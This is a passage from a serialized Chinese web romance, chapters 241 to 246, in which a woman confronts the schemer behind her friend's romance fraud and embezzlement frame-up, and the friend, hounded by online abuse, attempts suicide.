江晚絮任由她哭花了自己的贸易,眼神却看着窗外灰蒙蒙的天空,眼底第一次涌起了杀意。
曾经她软弱可欺,护不住自己,也护不住她在乎的人。
但现在,她已经醒了。
江晚絮直接开车回了顾家。
半山别墅的安保很严格,记者们是进不来的。
苏洛敏洗了个热水澡,换了身干净的睡衣,却还是缩在床角瑟瑟发抖。
她手里紧紧攥着手机,屏幕上是她和周旭的聊天记录。
最后一条消息,还停留在昨天晚上。
【宝贝,明天见,我会给你一个终身难忘的惊喜。】
确实难忘。
简直是要了她的命。
江晚絮端着热牛奶进来,看到她这副失魂落魄的样子,心里的火就蹭蹭往上冒,但更多的是“喝点东西。”
江晚絮把牛奶放在床头,语气尽量放柔,“我已经让人去找他了。”
苏洛敏抬起头,呆呆地问,“晚晚,你说我是不是特别蠢?”
“我是不是活该被骗?我为了买那个房子,把养老金都取出来了……我还加了他的名字……我怎么这么贱啊……”
她说着说着,抬手就要扇自己耳光。
江晚絮一把攥住她的手腕,厉声道:“苏洛敏!错的人是骗子,不是你!你只是想有个家,你有什么错?!”
“可是所有人都笑话我……”苏洛敏崩溃大哭,“网上都在骂我……说我是恋爱脑,说我活该……”
“嘴长在别人身上,你管他们做什么?”
江晚絮吼道,“你如果真的觉得自己蠢,那就打起精神来,跟我一起把那个渣男抓出来,把这口恶气给出了!哭有什么用?你是不是忘了我是怎么过来的?!”
苏洛敏被她吼得直接愣住。
她看着江晚絮,突然觉得有些陌生,又无比安心。
是啊,江晚絮经历过的,比她惨烈百倍。
众叛亲离,身败名裂,被抽血,被断腿。
她那样柔弱的性子都能看明白,自己为什么不行?
就在这时,江晚絮的手机响了。
是顾彦廷。
江晚絮恨铁不成钢地看了一眼苏洛敏,“你好好想想吧。”
然后她才叹了口气走到阳台上,接通电话后,顾彦廷的声音传了过来。
“看到了?”
“嗯。”江晚絮的嗓子有些哑,“我把洛敏带回来了。”
“做得好。”顾彦廷支持她,“别怕,我已经让人去找了,另外,民政局那边的监控警察也调出来了。”
江晚絮鼻头一酸,“顾彦廷,谢谢。”
“又来了,你跟我还说什么谢。”顾彦廷似乎轻笑了一声,“你朋友就是我朋友。”
“我想自己查。”江晚絮突然说道。
电话那头沉默了一瞬,随即传来顾彦廷宠溺的声音:“好。你想怎么做就怎么做,我陪你。”
挂了电话,江晚絮转身回到房间。
苏洛敏已经不哭了,只是呆呆地看着天花板。
江晚絮想了想,拨通了另一个号码。
“喂?程宇。”
电话那头传来一个略显激动的男声,带着几分小心翼翼,“晚絮?是你吗?怎么突然给我打电话?”
“我有件事想拜托你。”江晚絮开门见山,“洛敏出事了,我想请你过来一趟,陪陪她。”
“洛敏?”程宇愣了一下,“她怎么了?我在新闻上看到一点……是真的?”
“是被骗了。”江晚絮叹了口气,“具体的电话里说不清,你如果不忙的话,能不能来顾家一趟?她现在除了我,谁也不信。你是警察,你说的话,她或许能听进去。”
其实江晚絮有私心。
程宇是个正直的好
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男人,这么多年一直单身。苏洛敏虽然平时咋咋呼呼,但心地善良。
既然那个周旭是个烂人,不如让真正靠谱的人来填补这个空缺。
“好!我马上请假过来!”程宇二话没说就答应了。
安排好苏洛敏,江晚絮拿起大衣就要往外走。
“晚晚,你去哪?”苏洛敏哑着嗓子问。
江晚絮回头,淡定地开口,“去给你讨债。”
她给秘书发了消息,很快就收到了“曼辰科技公司”的地址。
江晚絮找到那个写字楼的时候,都有些无语。
是一栋老旧的写字楼,门上还贴着的“招租”的告示。
她拿出手机,拨通了沈曼的电话。
电话响了很久才被接起。
“喂?哪位?”
沈曼的声音懒洋洋的。
“沈曼,是我。”
电话那头明显停顿了一下,随即传来沈曼的笑声:“江总?怎么有空给我打电话?怎么,想清楚要跟我合作了?”
江晚絮转身走回电梯,“我就是想问问,你这么做对你到底有什么好处?”
“呵……”沈曼笑得花枝乱颤,“江晚絮,你在说什么胡话?我不懂你的意思。”
“周旭,或者叫他**。需要我把他的案底念给你听吗?”
江晚絮单刀直入,“利用**犯骗婚骗财,数额巨大,沈曼,你觉得这够你在牢里蹲几年?”
沈曼根本不在意她的威胁,“江晚絮,饭可以乱吃,话不能乱说。我根本不认识什么**。你朋友自己眼瞎看上个**犯,跟我有什么关系?”
沈曼笃定江晚絮没有直接证据。
那个**昨天就路了,就算抓到了,只要**一口咬死是个人行为,谁能把她怎么样?
“是吗?”江晚絮也不恼,慢悠悠地走出了电梯,“既然跟你没关系,那你躲什么?”
“激将法对我没用。”沈曼冷哼。
“见一面吧,”江晚絮发出邀请,“我突然有些饿了。沈小姐,不如你请我吃饭?”
沈曼沉默了好半晌,才开口,“好呀,能跟江总共进午餐,是我的荣幸,正好,我刚点了菜,江总若是不嫌弃,就来云顶餐厅吧。”
第242章 要坐牢的呀
云顶餐厅是京市一家比较高档的旋转餐厅。
江晚絮到的时候,林舟已经等在大门口了。
“夫人。”
林舟看到她,立刻迎了过来,“顾总安排了几波人去找周旭,警察那边也已经正式立案了。”
江晚絮点了点头,“辛苦了。”
三人正准备往里走,旋转门突然转动。
一行人从里面走了出来。
江晚絮看到走在最前面的人,就愣在了原地。
是叶寒。
叶寒穿着一件深灰色的呢子大衣,头发梳得一丝不苟,虽然看上去有些疲惫,但整个人透着一股“红光满面”的精气神。
这半个月,叶寒依靠沈曼,接了好几个装修单子。
那些急着年后开工的业主们,提前将定金打了过来,让他的账户余额久违地好看了起来。
他看着江晚絮,愣了一下,然后就表现了一种从未有过的绅士。
“晚絮。”
叶寒率先开了口,整个人表现得非常温和有礼,“好久不见。”
这一声“晚絮”,叫得江晚絮胃里一阵翻涌。
她差点忘了自己是来找沈曼算账的。
她看着眼前这个曾经深爱的男人,恍惚间竟觉得有些可笑。
“夫人。”
身后的林舟见江晚絮没动,连忙上前一步,不动声色地挡在了江晚絮身前。
“顾总还在等您的消息。”林舟低声提醒。
江晚絮回过神,眼底的恍惚瞬间消散,抬脚就要往里走。
“等等。”
叶寒侧身一步,挡住了江晚絮的去路。
他从大衣口袋里掏出一张名片递了过来。
“我现在开了家装修公司,生意还算过得去。”
叶寒嘴角挂着一抹淡淡的笑,“晚絮,虽然我们离婚了,但毕竟也做过夫妻。以后如果有什么装修项目,可以考虑一下我。肥水不流外人田嘛。”
江晚絮看着递到眼皮子底下的名片,简直要气笑了。
肥水不流外人田?
他也配?
“让开。”江晚絮的声音冰冷。
叶寒脸上的笑容僵了一下,但很快就调整了过来。
“晚絮,你不用这么拒人于千里之外。我知道你现在过得不错,但我也不差。”
他往前凑了凑,压低声音道:“我知道你心里还有气,但男人嘛,事业才是底气。我现在有能力了,如果你在顾家受了委屈……”
“叶寒。”
江晚絮打断了他,“你是不是出门没吃药?”
叶寒一愣:“什么?”
“我在顾家过得怎么样,跟你有什么关系?”
江晚絮眼神淡漠,强忍着内心的怒意,继续说,“麻烦你离我远一点。”
说完,江晚絮径直绕开叶寒,走进了旋转餐厅。
林舟跟在后面,经过叶寒身边时,停顿了一下。
他伸出手,极其敷衍地用两根手指夹过叶寒手里的名片。
“叶先生是吧?名片我替江总收下了。”
叶寒还没来及高兴,就见林舟随手将那张名片丢进了旁边的垃圾桶里。
“不过我们顾总说了,垃圾是不配跟夫人说话的。”
林舟说完,微微一笑,转身快步跟上了江晚絮。
叶寒站在原地,脸上的笑容彻底裂开。
他看了看那个垃圾桶,垂在身侧的手紧紧攥成了拳头。
“江晚絮……顾彦廷……”
他咬着牙,眼底闪过一丝阴狠。
江晚絮走进大厅,心里的火气不仅没消,反而更旺了。
遇到叶寒这种极品前任,简直比出门踩到狗屎还让人糟心。
但现在不是纠结这个的时候。
周旭那个渣男还逍遥法外,而苏洛敏被指**一事也还没查清。
很快,她就在靠窗的位置看到了沈曼。
那个女人穿着一件红色的长裙,笑得很灿烂。
而在沈曼对面,还坐着一个男人。
男人很年轻,长得甚至有几分像顾彦廷。
桌上摆着三副餐具。
江晚絮走了过去。
“江总,你迟到了哦。”
沈曼看见她,举起酒杯示意了一下,“菜都要凉了。”
那个年轻男人也转过头,上下打量着江晚絮。
“这就是江总?果然是闻名不如见面,比照片上还要漂亮。”
男人站了起来
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,起身帮江晚絮拉椅子。
“滚。”
江晚絮直接瞪了他一眼,然后看向沈曼。
沈曼抿了一口香槟,笑眯眯地说:“哎呀,江总火气别这么大嘛。”
“沈曼,我没空跟你演戏。”
江晚絮直接拉开沈曼斜对面的椅子坐下,“那个周旭去哪儿了?”
“我说了,我不认识什么周旭。”
沈曼放下酒杯,一脸无辜地摊手,“江晚絮,凡事要讲证据。你自己朋友出事儿,你就跑来怪我?这是什么道理?”
“证据?”
江晚絮冷笑,“沈曼,顾彦廷的人已经在找他了。我看你能装到什么时候!”
提到顾彦廷,沈曼的手微微收紧。
但很快,她又恢复了镇定。
“那是你们的事。我们不如谈谈合作如何?”
“合作?”
江晚絮用了一拍桌子,震得桌上的餐具叮当作响。
周围的客人都投来了诧异的目光。
江晚絮盯着沈曼的眼睛,一字一顿地说道:“沈曼,你给我听清楚了。苏洛敏要是有什么三长两短,我不管你背后是谁,我一定会让你付出代价!百倍!千倍!”
这一瞬间,沈曼竟然**晚絮眼里的煞气震慑住了。
她认识江晚絮的时间虽然不算长,但不论是报道中的江晚絮,还是她探查到的江晚絮,都是温和柔弱的。
沈曼甚至有些怀疑自己是不是找错人了。
就在气氛僵持到极点的时候,站在不远处的林舟在接了一个电话后,神色凝重地走了过来。
“夫人。”
“怎么了?”江晚絮心里咯噔一下,一种不好的预感冒了上来。
“警局那边打来电话……说是有确凿证据证明苏小姐涉嫌职务侵占,检察院现在已经去了警局,说是要苏小姐立刻去警局接受调查。”
江晚絮眉头紧蹙。
“确凿证据?”
沈曼听到这句话,嘴角缓缓勾起一抹得意的弧度。
“哎呀,看来江总的朋友这次是真的惹上**烦了呢。”
她故作惊讶地捂住嘴,“**两百万……啧啧,这可是要坐牢的呀。”
第243章 “等我”
江晚絮没想到检察院这么快就介入了调查。
她看向沈曼,强忍着将对方暴揍一顿的冲动问道,“沈曼,你到底想干什么?”
“江总,我都说了,这是警察办案,跟我有什么关系?”沈曼笑得花枝乱颤,“不过江总还是赶紧去看看吧,晚了,说不定就只能去探监了。”
“你给我等着。”
江晚絮扔下这句话,转身就走。
看着江晚絮的身影消失在餐厅门口,沈曼终于忍不住大笑出声。
“哈哈哈哈……”
一直坐在旁边没敢说话的那个年轻男人,此时小心翼翼地凑过来:“曼姐,那……接下来怎么做?”
沈曼止住笑,端起酒杯,优雅地抿了一口。
金色的香槟液面倒映着她扭曲的笑脸。
“不着急。”
她眼神阴冷地看着窗外,“好戏才刚刚开始呢。”
男人打了个寒颤,没敢再说话。
回程的车上,江晚絮一直没说话。
林舟坐在副驾驶,不停地拨打着电话。
“顾总已经在去警局的路上了,顾氏法务部也已经安排好了。”林舟放下手机,回过头安慰道,“夫人,您别太担心,苏小姐会没事的。”
“没事?”
江晚絮看着窗外川流不息的车流,眼眶发红,“林舟,你知道被最信任的人背叛,还要面临牢狱之灾是什么感觉吗?”
林舟沉默了。
**,但他知道江晚絮知道。
曾经的江晚絮,被叶寒背叛,**家人诬陷抄袭,身败名裂,就连命都差点丢了。
那种绝望,只有经历过的人才懂。
“那个周旭……不,那个骗子,他不仅骗了洛敏的钱和感情,他还想毁了她的一生。”
江晚絮的声音有些颤抖,“那个‘挪用**’的事情,肯定是那个骗子用洛敏的名义操作的。那个傻丫头,还以为找到了自己的真爱……”
车子一路疾驰,终于回到了顾家别墅。
江晚絮冲进客厅的时候,苏洛敏正安静地坐在沙发上。
她换了一身衣服,头发也梳得整整齐齐,脸上甚至化了个淡妆,虽然脸色有些苍白,但看上去却很精神。
如果不是她那个放在膝盖上微微颤抖的手,江晚絮几乎要以为她已经没事了。
“洛敏……”
江晚絮轻声叫她。
苏洛敏抬起头,看到江晚絮,露出了一个浅浅的笑。
“晚晚,你回来了。”
她的声音很轻,很平静。
“警察……给我打电话了。”苏洛敏站起身,拿起旁边的包,“说让我去配合调查。”
“洛敏,你别怕。”
江晚絮走过去抱住她,“我已经找了最好的律师,顾彦廷也在那边等着了。我们一定会查清楚的,你没有做过的事情,谁也不能冤枉你。”
苏洛敏任由她抱着,身体僵硬。
过了好一会儿,她才轻轻推开江晚絮。
“晚晚,我是不是很傻?”
她看着江晚絮的眼睛,眼神有些空洞,“他说要参观我的办公室,想看看我的电脑,了解我的喜好……他说会给我一个家……”
“别说了!洛敏!”江晚絮心如刀绞,“这不是你的错!是他们太坏了!你只是想好好爱一个人,你没有错!”
“爱?”
苏洛敏自嘲地笑了一声,“爱真恶心。”
这一句话,让江晚絮的忍不住红了眼眶。
曾几何时,她也说过同样的话。
是啊,爱,真恶心。
“走吧。”
苏洛敏深吸一口气,挺直了脊背,“早点去,早点结束。我有些累了。”
江晚絮不敢再说什么,只能紧紧抓着她的手,带着她走向门外。
去警局的路上,苏洛敏一言不发。
江晚絮几次想开口,却又不知道该说什么。
现在的任何安慰,都显得苍白无力。
车子停在警局门口的时候,苏洛敏的身体明显抖了一下。
江晚絮立刻握紧她的手。
“我在外面等你。”
车子停稳。
程宇已经等在门口了。
作为一个警察,此刻他的表情却比任何人都要难看。
“晚絮,苏小姐。”
程宇快步走过来,看着苏洛
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敏,眼底满是不忍,“抱歉,是上面直接下的命令,检察院的人也在,我也……没办法插手太多。”
“程宇,她是被冤枉的!”江晚絮急切地说道,“她是受害者!”
“我知道,我都知道。”
程宇叹了口气,“但是现在搜查到的证据对苏小姐很不利。那个公司的账户流水,全是苏小姐的操作记录,而且她办公室的监控也被人删除了。除非有证据证明那个时间段她不在现场,否则……”
否则,这就是铁证。
苏洛敏听着他们的对话,脸上没有什么表情。
她松开江晚絮的手,对着程宇点了点头:“程警官,我跟你们进去。”
“洛敏!”
江晚絮下意识地想拉住她。
“晚晚。”
苏洛敏没有回头,“我没事,相信我。”
说完,她迈开步子,走了进去。
江晚絮想要跟进去,却被两名警察拦在了走廊上。
“家属请留步。”
“我是她的律师!我有权陪同!”随行的王律师立刻上前交涉。
“抱歉,现在是检察院前期询问阶段,暂时不允许律师介入,等正式审讯开始才可以。”
其中一名警察有些为难地说道。
身为警察,身为程宇的同事,他们听说过江晚絮的“丰功伟绩”,也知道苏洛敏很可能是被陷害的。
但……公事公办,他们必须按照流程办事。
“这是什么道理?!”江晚絮急了,“她现在的精神状态很不好,如果……”
“江小姐,”那名警察耐心劝说,“相信国家,也相信司法部门,再等等吧。”
林舟也赶紧走过来劝说。
江晚絮深吸了好几口气,才冷静下来。
两个穿着制服的人从审讯室走出来,面无表情地看了一眼这边的争执,然后对着苏洛敏招了招手。
“苏洛敏。”
苏洛敏站在门口,回头看了一眼江晚絮。
“洛敏……”
江晚絮鼻子一酸。
苏洛敏笑了笑,做出一个“等我”的口型,然后跟着那两个人走进了审讯室。
第244章 绝不能让她背黑锅
看着审讯室的门关上,江晚絮的身体晃了一下。
“夫人!”
林舟赶紧扶住她,“您别急,顾总马上就到。而且王律师已经在准备材料了,只要一有机会,立马就能保释。”
江晚絮盯着那扇紧闭的大门,陷入了深深的自责。
“程宇。”
她转头看向一直站在旁边满脸愧疚的程宇,“你在里面能不能说上话?”
程宇面露难色,“这个案子是经侦那边负责,而且涉及金额巨大,又有媒体盯着……但我可以申请进去旁听,尽量保证他们不为难苏小姐。”
“拜托你了。”
江晚絮的声音近乎哀求,“别让他们吓她。她胆子小,真的……别吓她。”
程宇的心里也很不是滋味。
他在京市已经一年了,对于江晚絮的好闺蜜,他多多少少也是了解一些的。
苏洛敏为人直爽,没什么心眼,是个很讨喜的好姑娘。
“你放心,我这就进去。”
程宇推门进去了。
走廊里只剩下江晚絮和林舟,还有王律师。
时间一分一秒的过去。
江晚絮靠在墙壁上,脑海里不断闪过苏洛敏平静的脸。
还有沈曼那个得意的笑。
她抬起头,擦干眼角的泪水,眼神变得坚定起来。
哭有什么用?
当初她哭了五年,换来了什么?
“林舟。”
江晚絮恢复了冷静,“联系媒体吧。”
“既然沈曼想利用**毁了洛敏,那我就用**救她。”
“另外,查一下那个‘曼辰科技公司’。”
江晚絮眯起眼睛,“既然她不仁,那就别怪我不客气。”
既然要算账,那就新账旧账一起算。
林舟瞬间就来了精神。
“我马上去办!”
林舟走了。
江晚絮盯着审讯室大门,精神紧绷。
“哒、哒、哒。”
脚步声传来。
江晚絮有些僵硬地转过头。
走廊尽头,顾彦廷大步走来。
“晚絮。”
他走过来坐在江晚絮身旁,伸手将她的手包裹在掌心,“别怕,我来了。”
“顾彦廷……”江晚絮声音有些哑,“洛敏她……”
“我都查清楚了。”
顾彦廷给身后的林舟递了个眼色。
林舟立刻递过来一份厚厚的文件袋。
顾彦廷将文件袋打开,语气变得严肃起来。
“晚絮,你要有个心理准备。”
江晚絮心里“咯噔”一下,“什么意思?”
“这个周旭,或者是叫**,他根本不是什么简单的骗财骗色。”
“什么意思?”
顾彦廷抽出几张打印出来的监控截图和调查报告。
苏洛敏和周旭接触的这不到一个月的时间里,周旭每天都会去苏洛敏的公司。
每一次,他都借口是给苏洛敏送爱心便当,或者是接她下班。
顾彦廷指着其中一张截图,“你看这一张,时间是上周三下午。当时苏洛敏有个紧急会议,本来想让周旭去楼下咖啡厅等她,但是周旭拒绝了。”
江晚絮看着照片。
“他在苏洛敏的办公室里,单独待了整整一个小时。”顾彦廷冷笑一声,“一个小时,足够他做很多事了。”
江晚絮只觉得后背发凉。
那个时候,苏洛敏一定感动坏了吧?
觉得这个男人为了等自己,甘愿在办公室里枯坐一个小时。
“还有这个房子。”
顾彦廷又抽出一份复印件,语气里带着几分嘲弄,“苏洛敏的房产证,是假的。”
“假的?!”江晚絮瞪大了眼睛,“怎么可能?洛敏她是做财务的,她怎么可能连房产证真假都分不清?”
“因为那是周旭早就准备好的**件,连编号都能在假的查询网站上查到。”
当时苏洛敏掏了首付后,那个所谓的‘原房主’其实是周旭找来的演员。
过户那天,周旭借口天冷怕苏洛敏冻感冒,便独自一人去跑腿办证。
实际上,他转头就伪造了苏洛敏的签字,把那个刚买了不到一天的房子,以极低的价格转卖套现了。
然后,他在地摊上办了一个假的房产证交给了苏洛敏。
江晚絮的手在颤抖。
太狠了。
真的是太狠了。
这不仅仅是**,这是在把苏洛敏当成傻子一样戏耍!
“这个混蛋……”江晚絮咬着牙,眼泪在眼眶里打转,“我要杀了他……顾彦廷,我要杀了他!”
“别激动。”
顾彦廷伸手将她揽进怀里,轻轻拍着她的后背,“这种垃圾,自然有法律收拾他。”
江晚絮正要再说什么,审讯室的门开了。
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江晚絮立刻站了起来迎上去。
“洛敏!”
苏洛敏走了出来。
这才过了一个小时,她却像是老了十岁。
原本那个爱笑、大大咧咧的姑娘,此刻却双眼无神。
“晚晚……”
苏洛敏看到江晚絮,嘴角扯动了一下,似乎想笑,“警察说……我可以先回去了。”
“没事了,没事了。”
江晚絮一把抱住她,心疼得像是被刀绞一样,“我们回家。”
苏洛敏没有反抗,任由江晚絮牵着。
“林舟。”
顾彦廷站起身,系上风衣的扣子,眼神冷冽,“警局这边你盯着,无论如何,不能让程宇他们难做,但也绝不能让苏洛敏真的背上这口黑锅。另外,那个周旭,抓紧去找。”
“是,顾总。”
林舟神色凝重地点头。
“走吧。”
顾彦廷走到江晚絮身边,脱下自己的大衣披在苏洛敏身上。
苏洛敏抖了一下,眼神终于有了一丝波动。
她看着顾彦廷,嘴唇动了动,“谢谢……顾总。”
“你是晚絮的朋友,就是我的朋友。”
顾彦廷淡淡地说了一句。
三人走出警局大门。
外面,寒风呼啸。
更可怕的是,警局大门外,竟然蹲守着好几个记者。
“出来了!苏洛敏出来了!”
“苏小姐,请问你真的挪用了两百万**养小白脸吗?”
“苏小姐,听说那个骗子是你未婚夫,你是同谋还是受害者?”
“苏小姐,你现在被保释是不是因为顾氏集团的关系?”
记者们迫于顾彦廷在场,虽然不敢直接围上来,但还是不停地追问着。
苏洛敏下意识地捂住脸,想要往回缩。
“滚!”
一声暴喝,如同平地惊雷。
顾彦廷挡在两个女人身前,周身散发着迫人的寒气。
“顾……顾总……”
那几个记者被吓得手一哆嗦,相机差点掉在地上。
“我给你们三秒钟。”
顾彦廷给几个保镖打了个颜色,看着他们护送江晚絮和苏洛敏上了车,这才冷冷看着那几个记者,语带威胁,“滚出我的视线。否则,我不介意用点小手段。”
记者们面面相觑,虽然不甘心,但在顾彦廷那要**的目光下,还是灰溜溜地散开了。
第245章 不安
回去的路上,苏洛敏缩在后座的角落,整个人目光呆滞。
江晚絮握着她的手,发现她的手冷得像冰块一样,怎么捂都捂不热。
“洛敏……”
江晚絮想说点什么,却发现自己根本不知道该如何开口。
她想起了一年前的自己。
那个时候,她也是这样,被所有人误解,被至亲背叛,被赶出家门。
那种绝望,只有经历过的人才懂。
而现在,这种绝望,降临在了她最好的朋友身上。
迈巴赫一路疾驰,最终停在了顾家别墅前。
“顾总。”
管家早已等在门口,看到车子停稳,立刻上前拉开车门。
“晚絮,带她进去休息。”
顾彦廷没有下车,他降下车窗,看着江晚絮,“公司还有点事要处理,另外我要去见个人。晚点回来。”
江晚絮知道,他是要去处理周旭和沈曼的事。
“好,你小心点。”
江晚絮点了点头,扶着苏洛敏下了车。
别墅里灯火通明。
江晚絮带着苏洛敏走进客厅,一股暖意扑面而来。
“哎哟,絮絮回来啦!”
还没等江晚絮换好鞋,一道慈祥的声音就传了过来。
顾老太太拄着拐杖,在秦兰的搀扶下,快步走了过来。
这一年来,因为江晚絮的关系,顾家这两位长辈和苏洛敏也混熟了。她们都知道苏洛敏是个没心眼的好姑娘,也是真心喜欢她。
江晚絮勉强挤出一丝笑容喊了一声,“奶奶,妈。”
“这是洛敏吧?”
顾老太太看到缩在江晚絮身后的苏洛敏,那苍白的脸色和空洞的眼神,让老太太心里一揪,“哎哟,这孩子这是怎么了?怎么脸色这么难看?”
“奶奶……”苏洛敏抬起头,露出一个笑来。
“快,快过来坐。”
秦兰也是满脸心疼,赶紧上前拉住苏洛敏的另一只手,“这手怎么这么凉?刘妈,快去煮碗姜汤来,多放点红糖!”
苏洛敏被两个长辈拉到沙发上坐下。
那种被温暖包裹的感觉,让她有些恍惚。
她的童年是不幸的,父母争吵了十几年,最后离婚,却没有人要她。
苏洛敏一直觉得,自己是个累赘,所以她拼命学习,努力工作,这样就没有时间去回忆那些冰冷的记忆。
“洛敏啊,新闻我都看了。”
秦兰是个直肠子,忍不住开口,“那个什么周旭,就是个王八蛋!你别往心里去,咱们不怕他。缺多少钱,阿姨给你补上,不就是两百万吗?咱们不差这点钱!”
“妈!”
江晚絮心里一惊,赶紧打断了秦兰的话。
她知道婆婆是好意,但是这话在这个时候说出来,简直就是在往苏洛敏伤口上撒盐。
果然,苏洛敏抿了一下嘴唇。
她低下头盯着自己的脚尖,手指紧紧绞在一起。
“哎呀,你少说两句!”
顾老太太显然比儿媳妇更懂人心,她瞪了秦兰一眼,然后轻轻拍了拍苏洛敏的手背。
“孩子,别听她瞎说。在咱们顾家,不需要想那些有的没的。你就把这儿当自个儿家,想吃什么,想喝什么,尽管跟管家开口。谁要是敢欺负你,奶奶我第一个不答应!”
苏洛敏抬起头,看着眼前这两位真心实意关心自己的长辈,眼眶慢慢红了。
她吸了吸鼻子,努力扯出一个乖巧的笑容。
“谢谢奶奶,谢谢阿姨。我没事的,真的。”
她的笑容很标准,也很完美。
可江晚絮看着这个笑容,心里的不安却越来越强烈。
苏洛敏表现得太正常了。
如果她大哭大闹,或者歇斯底里地发泄一通,江晚絮反而会放心一些。
可是现在,她就像是个没事人一样。
这就好像是一个受了重伤的人,却感觉不到疼痛一样。
“好了好了,先吃饭吧。”
江晚絮强压下心里的不安,“折腾了一天,大家都饿了。”
晚餐很丰盛。
顾家的厨师特意做了几道苏洛敏平时爱吃的菜。
餐桌上,顾老太太和秦兰不停地给苏洛敏夹菜。
“多吃点,看你瘦的。”
“这个鱼很新鲜的,刺都挑干净了。”
苏洛敏来者不拒。
她机械地张嘴,咀嚼,吞咽。
“好吃吗?”秦兰期待地看着她。
“好吃。”苏洛敏放下筷子,拿纸巾擦了擦嘴,微笑着说,“这是我吃过最好吃的一顿饭。”
她的语气很诚恳,诚恳得让人心酸。
江晚絮看着她那干干净净的碗底,只觉得喉咙发紧,一口饭都咽不下去。
吃完饭,大家又坐在客厅聊了一会儿。
主要是顾老太太在讲顾彦廷小时候的糗事,试图活跃气氛。
苏洛敏一直安安静静地听着,时不时
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还配合地笑两声。
那乖巧的模样,就像是一个完美的客人。
“奶奶,阿姨,我想先去休息了。”
苏洛敏站起身,有些抱歉地说道,“今天实在是太累了。”
“好好好,快去歇着吧。”顾老太太赶紧挥手,“晚絮,安安和你外婆去我那边住,这两天你就好好陪陪洛敏。”
“不用了。”
苏洛敏摇了摇头,看向江晚絮,“晚晚,我想自己一个人静一静。可以吗?”
江晚絮到了嘴边的话,硬生生地咽了回去。
“好。”她勉强挤出一个笑容,“那你好好休息,有什么事随时叫我,我今天住你隔壁。”
“嗯。”
苏洛敏点了点头,转身朝楼上走去。
走了两步,她突然停下脚步,回过头。
视线扫过客厅里的每一个人。
“晚安。”
她轻声说道。
然后,转身,上楼。
江晚絮坐在客厅的沙发上,手里捧着一杯已经凉透的水,心神不宁。
“絮絮啊,别太担心了。”
秦兰看着儿媳妇魂不守舍的样子,安慰道,“那孩子我看挺坚强的,应该能挺过去。”
“妈,你不了解她。”
江晚絮摇了摇头,苦笑道,“她如果哭出来还好,可她越是这样若无其事,我越是害怕。”
“不行,我还是不放心。”
江晚絮放下杯子,站起身,“我带她出去散散心。明天我就带她去大理,或者是去国外。”
“这个主意好!”
顾老太太一拍大腿,“出去转转,换个心情,说不定就好了。费用奶奶全包了!”
江晚絮勉强笑了笑,转身上楼。
她来到客房门口,深吸了一口气,抬手敲了敲门。
“咚、咚、咚。”
“洛敏?你睡了吗?”
里面没有回应。
“洛敏,是我,晚晚。”
江晚絮贴着门缝喊道,“我想跟你商量个事儿,明天我们去旅游好不好?你想去哪儿?大理?还是去瑞士滑雪?”
里面依然是一片安静。
江晚絮心里的不安瞬间放大。
刚才苏洛敏那个回眸,那个“晚安”,在她脑海里不断回放。
“洛敏!你说话啊!”
江晚絮用力拍打着房门,“你不说话我进来了!”
她拧动门把手。
锁住了。
苏洛敏从里面反锁了房门!
第246章 顾彦廷,帮我
“洛敏!开门!苏洛敏!你别吓我!”
江晚絮开始砸门,声音里带上了哭腔,“快开门啊!苏洛敏,你给我开门!”
楼下的顾老太太和秦兰听到动静,也慌忙赶了上来。
“怎么了?怎么了这是?”
“门锁了!她在里面反锁了!”江晚絮转过头,双眼通红地吼道,“钥匙!备用钥匙呢!”
“在管家那儿!快!快叫管家!”秦兰也慌了神。
“来不及了……”
江晚絮看着那扇厚重的实木门,脑海里闪过无数个可怕的念头。
她后退两步,眼神变得无比坚定。
“让开!”
江晚絮对着身后的喊了一声,然后深吸一口气,用尽力气狠狠撞了过去。
“砰!”
肩膀传来剧痛,但门纹丝不动。
“夫人!让我们来!”
管家冲了上来。
“砰!”
“砰!”
“咔嚓——”
伴随着一声木头断裂的脆响,房门终于被撞开了。
江晚絮第一个冲了进去。
然而,眼前的景象,却让她瞬间瘫软在地。
房间里没有开灯,只有笔记本电脑的屏幕散发着幽幽的蓝光。
借着那微弱的光线,江晚絮看到苏洛敏正安静地躺在地毯上。
鲜红的液体,从她左手手腕处流了出来。
“洛敏!!!”
江晚絮发出一声凄厉的尖叫,连滚带爬地冲了过去。
苏洛敏的脸白得像纸一样,双眼紧闭,原本红润的嘴唇此刻毫无血色。
而在她旁边的笔记本电脑屏幕上,赫然显示着一条刚弹出来的新闻页面:
【独家深扒!美女会计苏洛敏私生活混乱,挪用**竟是为了包养刚出狱的**男友!】
下面是一张张经过恶意剪辑的照片。
有苏洛敏和周旭在餐厅“亲密”用餐的,也有周旭从苏洛敏公寓出来的。
更有甚者,还有“知情人士”爆料,说苏洛敏在公司经常勾引男同事,是为了上位不择手段的心机女。
文章的评论区更是乌烟瘴气,不堪入目。
“**!”
“长得就像个狐狸精。”
“这种女人就该**!”
“心疼那个被骗的公司,两百万啊!”
“听说还是顾氏总裁夫人的闺蜜?物以类聚人以群分,那个江晚絮也不是什么好鸟!”
“快!叫救护车!快叫医生!!!”
江晚絮颤抖着手,拼命去按住苏洛敏的手腕。
“洛敏……你别吓我……别吓我啊……”
江晚絮哭得浑身都在发抖,眼泪大颗大颗地咂下来,“你不是说要给安安当干妈吗?你不是说想去看苍山洱海吗?你怎么能说话不算话……”
120五分钟就赶到了。
医护人员简单止血后就将苏洛敏抬上了救护车。
江晚絮下意识地就要跟着担架往外冲。
“絮絮,等等。”
说话的是秦兰。
“妈,我要去……”江晚絮的声音在抖,牙齿都在打颤,“洛敏她只有我了……”
“我知道,我知道。”秦兰用力握住她的手,“但是你看看你现在的样子。”
江晚絮低下头。
她的身上和双手,都是血污。
顾老太太拄着拐杖走过来提醒她,“你如果这就这样一身血地冲出去,明天的头条会是什么?”
姜还是老的辣。
老太太一句话,把江晚絮拉回了现实。
是啊。
那些键盘侠不在乎真相,他们只在乎狂欢。如果她这副鬼样子出现在镜头前,苏洛敏就算是醒了,也会被这些**再次逼死。
“快,去换件衣服。”秦兰推了她一把,“把自己收拾干净。你是她的靠山,你如果倒了,或者是乱了,谁来替她讨回公道?”
江晚絮深吸了一口气,眼泪硬生生被逼了回去。
“好。”
她转身冲进浴室。
冰冷的水柱冲刷在手上,那些血迹被渐渐冲刷干净。
曾经的她,也流了好多血。
那时候,没有人为她叫救护车,没有人告诉她“你要坚强”。
“哗啦——”
江晚絮捧起一捧冷水泼在脸上。
冰冷刺骨的感觉,终于让她冷静了下来。
她绝不能让苏洛敏也被这种痛苦吞噬,甚至付出自己的生命。
五分钟后。
“妈,奶奶,我走了。”
换了衣服的江晚絮走到玄关换鞋。
